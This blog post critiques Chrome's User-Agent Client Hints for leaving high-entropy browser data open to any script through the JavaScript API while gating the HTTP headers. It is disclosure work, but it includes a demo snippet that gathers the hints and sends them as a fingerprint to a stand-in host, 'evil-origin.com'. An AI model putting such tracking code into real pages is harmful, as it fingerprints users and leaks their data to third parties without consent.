User-Agent Client-Hints Security Concerns

User-Agent Client-Hints (UA-CH) are just around the corner. The Chrome teams original plan was to deprecated the user-agent header and have it replaced by UA-CH. The motivation was privacy

The User-Agent string is an abundant source of passive fingerprinting information about our users. It contains many details about the user’s browser and device as well as many lies (“Mozilla/5.0”, anyone?) that were or are needed for compatibility purposes, as servers grew reliant on bad User Agent sniffing.

The current implementation if UA-CH, provide access to the hints either through HTTP headers, or through a JavaScript API.

The one alternative is gated, the other wide open…

Security Mechanisms for UA-CH as HTTP Headers in place

The concerns related to the User-Agent are that it can be used to fingerprint users because of the relatively high entropy. The use case where the User-Agent are present in server logs or similar did get a lot of attention. 

The UA-CH attempts to solve this by the already existing opt-in mechanism in the Client Hints specification combined with permission policy delegation of hints. Even if this solution does not offer any alternative to the User-Agent on the first navigation request, the Chrome team seems fixed on this idea.

Anyway, the important thing is that there is some security baked in. The high entropy hints are not available by default.

Access to UA-CH through JavaScript API is Wide Open

In Chrome version 85 I’m able to read all User-Agent Client-Hints without restrictions.

The spec says this about Access restrictions:

User agents ought to exercise judgement before granting access to this information, and MAY impose restrictions above and beyond the secure transport and delegation requirements noted above. For instance, user agents could choose to reveal platform architecture only on requests it intends to download, giving the server the opportunity to serve the right binary. Likewise, they could offer users control over the values revealed to servers, or gate access on explicit user interaction via a permission prompt or via a settings interface.

No opt-in

To get access to the UA-CH through the JavaScript API, no opt-in is required. All high entropy data points are exposed to everyone, even 3rd parties! 

No additional effort is needed by any party to get access to the high entropy data points.

No User Approval

The only hope for the future is that the access to the high entropy hints are provided through a promise, which offers an asynchronous “hook” for browsers to interfere. Browsers have not yet taken this opportunity to protect the high entropy data points. Probably as expected because of to the vague language in the specification.

No Delegation Through Permission Policies

The HTTP hints are only available at the 1st party origin by default. A Permission Policy is a way to restrict or allow access to certain browser features. However, access to UA-CH through the JavaScript API is not covered by the Permission Policy implementation. That means, that you can restrict a 3rd party server from receiving high entropy information about your users through HTTP headers, but the 3rd party server can still access the information through JavaScript.

Inconsistent Privacy Model

Comparing the relatively high level of security and number of trade-offs for UA-CH in the HTTP header with the wide open access to UA-CH through navigator.userAgentData.getHighEntropyValues(), a few questions comes to mind:

  1. Why does Permission Policy only apply to UA-CH provided by HTTP headers and not the JavaScript API?
  2. Why is there no Opt-in using accept-ch or similar?
  3. Why is there no user approval implemented in browsers when scripts are trying to access navigator.userAgentData.getHighEntropyValues()? .
  4. Why is the spec so vague on the topic of gating the UA-CH client side?
  5. Are UA-CH in HTTP headers considered a higher risk than in JavaScript?
  6. Why aren’t the same information protected by the same mechanisms client side and server side? 

🤔

There is an open issue on github covering this topic.

DEMO: Here is a simple demo that access the high entropy data through the JavaScript API and mimics a request to a third party tracking pixel: https://dapper-handsome-ziconium.glitch.me/. 👈🏻 Remember to test it on Chrome version 84 or higher.

Basically, it’s very easy to do things like link decoration:

  navigator.userAgentData.getHighEntropyValues(["architecture","model","platform","platformVersion","uaFullVersion"]).then(function() {
        var image = document.createElement('img');
        image.src = 'https://evil-origin.com/tracker.gif?fingerprint=' + JSON.stringify(arguments[0])+JSON.stringify(navigator.userAgentData.brands)+JSON.stringify(navigator.userAgentData.mobile);
        document.getElementById("myid").appendChild(image);
      });

Conclusion

I’d expect parity between the JavaScript API and the HTTP headers when it comes to availability, security and permissions. Right now it’s not.

I’d expect Permission Policy to govern access and delegation to the UA-CH through JavaScript. After all, these new data points, combined with oter information freely available on the client side, provide a pretty good fingerprint. Much more accurate than what is possible on the server side, even with the UA-CH. The Client Hints infrastructure clearly says that UA-CH are policy controlled. That is not the case currently

I’d expect 3rd parties, i.e. iframes, or 3rd party scripts not to have access to the UA-CH JavaScript API unless explicitly allowed.

I’d be pleasantly surprised if the opt-in (accept-ch) also was required to receive high entropy data through UA-CH JavaScript API.

I’d rather not see yet another popup asking the user for permission to access high entropy data. With geolocationcookies and camera etc., we already have notification fatigue. T&C anyone?

Not to address these issues seems like a lost opportunity to make it right from the beginning. Avoiding to stumble into a JavaScript-UA-CH-sniffing-ditch like we’ve seen with the User-Agent. 

On the server side, sniffing and detection is less of an issue because the software and algorithms making sense of the User-Agent is pretty much settled and commercially available to all serious players.

Giving every single frontend developer access to UA-CH client side, seems like a huge security-, privacy-, and functionality risk to me.

If Chrome v85 reaches stable in its current form, I’m in the market for a new browser.

Comments are closed.